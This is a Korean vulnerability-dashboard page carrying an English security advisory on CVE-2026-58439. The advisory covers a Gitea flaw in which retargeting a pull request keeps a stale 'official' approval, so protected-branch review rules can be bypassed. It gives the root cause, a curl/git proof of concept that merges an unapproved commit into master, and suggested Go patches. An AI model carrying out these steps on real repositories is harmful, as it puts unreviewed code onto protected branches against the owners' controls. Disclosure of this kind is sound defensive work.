Kestrel
대시보드로 돌아가기
CVE-2026-58439HIGH· 8.1GHSA대응게시일: 2026. 07. 21.수정일: 2026. 07. 21.

Gitea: Branch Protection Bypass via PR Retargeting Preserves Stale `official` Approval Flag

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
8.1high

이론적 심각도 점수

EPSS

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한60일 이내CISA SSVC 기준

계획된 패치 주기 내 조치(60일 이내)

외부 노출· KEV 미등재 · 자동화 어려움 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한낮음
사용자 상호작용불필요
범위불변
영향
기밀성 영향없음
무결성 영향높음
가용성 영향높음
버전별 점수
CVSS 3.18.1HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

상세 설명

Summary

Gitea does not re-evaluate the official flag on existing pull request reviews when a PR's target branch is changed. An attacker with write access to a repository can obtain an official: true approval on a PR targeting an unprotected branch, then retarget the PR to a protected branch (e.g., master). The approval, which would have been official: false if submitted against the protected branch, is preserved and satisfies the protected branch's required approvals, allowing the attacker to merge without legitimate maintainer approval.

  • Confirmed on Gitea 1.25.4 (1.25.4+41-g96515c0f20)

Vulnerability Details

Root Cause

When a review is submitted on a pull request, Gitea computes the official flag by checking whether the reviewer is in the target branch's approval whitelist (IsUserOfficialReviewer in models/git/protected_branch.go). This flag is stored in the database as a boolean on the review record.

When a PR's target branch is subsequently changed via ChangeTargetBranch (services/pull/pull.go:218), the function:

  • Updates pr.BaseBranch
  • Recalculates merge feasibility and divergence
  • Deletes old push comments
  • Creates a "change target branch" comment

But it does not:

  • Re-evaluate official on existing reviews
  • Dismiss existing approvals
  • Check whether reviewers are in the new target branch's approval whitelist

At merge time, GetGrantedApprovalsCount (models/issues/pull.go:766) counts reviews where official = true AND dismissed = false AND type = Approve. It reads the stored boolean — it does not re-check the whitelist. The stale official: true from the unprotected branch satisfies the protected branch's approval requirement.

Relevant Code Paths

  1. Review creationservices/pull/review.go:SubmitReview calls IsOfficialReviewer against the current pr.BaseBranch's protection rules, stores official=true/false
  2. Target branch changeservices/pull/pull.go:ChangeTargetBranch modifies pr.BaseBranch but does not touch existing reviews
  3. Merge checkservices/pull/check.go:CheckPullMergeablemodels/issues/pull.go:GetGrantedApprovalsCount counts stored official=true reviews without re-evaluating against the new branch's whitelist

Prerequisites

The attacker needs:

  • Write (push) access to the repository (collaborator with write role, or the ability to create branches — not admin)
  • The ability to create pull requests (standard for any user with push access)
  • A second account (or any non-admin account) to submit the approval on the unprotected branch

The attacker does not need:

  • Admin access
  • To be in the approval whitelist for the protected branch
  • Any interaction from the branch protection's designated approvers

Proof of Concept

Setup

Repository owner/repo with branch master protected:

  • Required approvals: 1
  • Approval whitelist enabled, containing only user admin-reviewer
  • User attacker has write access but is not in the approval whitelist

Steps

bash
1BASE="http://gitea-instance:3000"
2OWNER="owner"
3REPO="repo"
4ATTACKER_AUTH="attacker:password"
5ACCOMPLICE_AUTH="accomplice:password" # any non-whitelisted user
6
7# 1. Create an unprotected temporary branch from master
8curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/branches" \
9 -u "$ATTACKER_AUTH" \
10 -H "Content-Type: application/json" \
11 -d '{"new_branch_name": "tmp-unprotected", "old_branch_name": "master"}'
12
13# 2. Push a malicious commit to a feature branch
14git checkout -b malicious-branch origin/master
15echo "malicious payload" > payload.txt
16git add payload.txt
17git commit -m "innocent looking commit"
18git push origin malicious-branch
19
20# 3. Create PR targeting the UNPROTECTED branch
21curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/pulls" \
22 -u "$ATTACKER_AUTH" \
23 -H "Content-Type: application/json" \
24 -d '{
25 "head": "malicious-branch",
26 "base": "tmp-unprotected",
27 "title": "Add feature"
28 }'
29# Returns PR #N
30
31# 4. Approve the PR (official=true because tmp-unprotected has no protection)
32curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/reviews" \
33 -u "$ACCOMPLICE_AUTH" \
34 -H "Content-Type: application/json" \
35 -d '{"event": "APPROVED", "body": "LGTM"}'
36# Response includes: "official": true
37
38# 5. Retarget the PR to protected master
39curl -X PATCH "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N" \
40 -u "$ATTACKER_AUTH" \
41 -H "Content-Type: application/json" \
42 -d '{"base": "master"}'
43
44# 6. Verify: approval is still official=true against master
45curl "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/reviews" \
46 -u "$ATTACKER_AUTH"
47# Response: "official": true, "dismissed": false, "stale": false
48
49# 7. Merge — succeeds despite no whitelisted approver reviewing
50curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/merge" \
51 -u "$ATTACKER_AUTH" \
52 -H "Content-Type: application/json" \
53 -d '{"do": "merge"}'
54# Returns 200 OK — malicious commit is now on master

Observed API Responses

Step 4 — Approval on unprotected branch:

text
1{"id": 16, "state": "APPROVED", "official": true, "dismissed": false, "user": {"login": "accomplice"}}

Step 6 — Same approval after retarget to protected master:

text
1{"id": 16, "state": "APPROVED", "official": true, "dismissed": false, "stale": false, "user": {"login": "accomplice"}}

The official flag is unchanged. Under the protected branch's rules, this user's approval should be official: false.

Impact

  • Branch protection bypass: Protected branches with approval whitelists can be merged into without any whitelisted user approving
  • Privilege escalation: A user with write-but-not-admin access can effectively nullify the admin-configured approval requirements

Suggested Fix

Re-evaluate the official flag on all existing reviews when a PR's target branch changes. In services/pull/pull.go:ChangeTargetBranch, after updating pr.BaseBranch:

text
1// After updating the base branch, re-evaluate official status on all reviews
2reviews, err := issues_model.FindReviews(ctx, issues_model.FindReviewOptions{
3 IssueID: pr.IssueID,
4 Type: issues_model.ReviewTypeApprove,
5})
6if err != nil {
7 return err
8}
9
10newProtectBranch, err := git_model.GetFirstMatchProtectedBranchRule(ctx, pr.BaseRepoID, targetBranch)
11if err != nil {
12 return err
13}
14
15for _, review := range reviews {
16 wasOfficial := review.Official
17 if newProtectBranch != nil && newProtectBranch.EnableApprovalsWhitelist {
18 review.Official = git_model.IsUserOfficialReviewer(ctx, newProtectBranch, review.Reviewer)
19 } else {
20 review.Official = false
21 }
22 if wasOfficial != review.Official {
23 if _, err := db.GetEngine(ctx).ID(review.ID).Cols("official").Update(review); err != nil {
24 return err
25 }
26 }
27}

Alternatively, dismiss all existing approvals on retarget (simpler, more conservative):

text
1// Dismiss all approvals when target branch changes
2if _, err := issues_model.DismissReview(ctx, &issues_model.DismissReviewOptions{
3 IssueID: pr.IssueID,
4 Message: "Dismissed: PR target branch changed",
5}); err != nil {
6 return err
7}

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.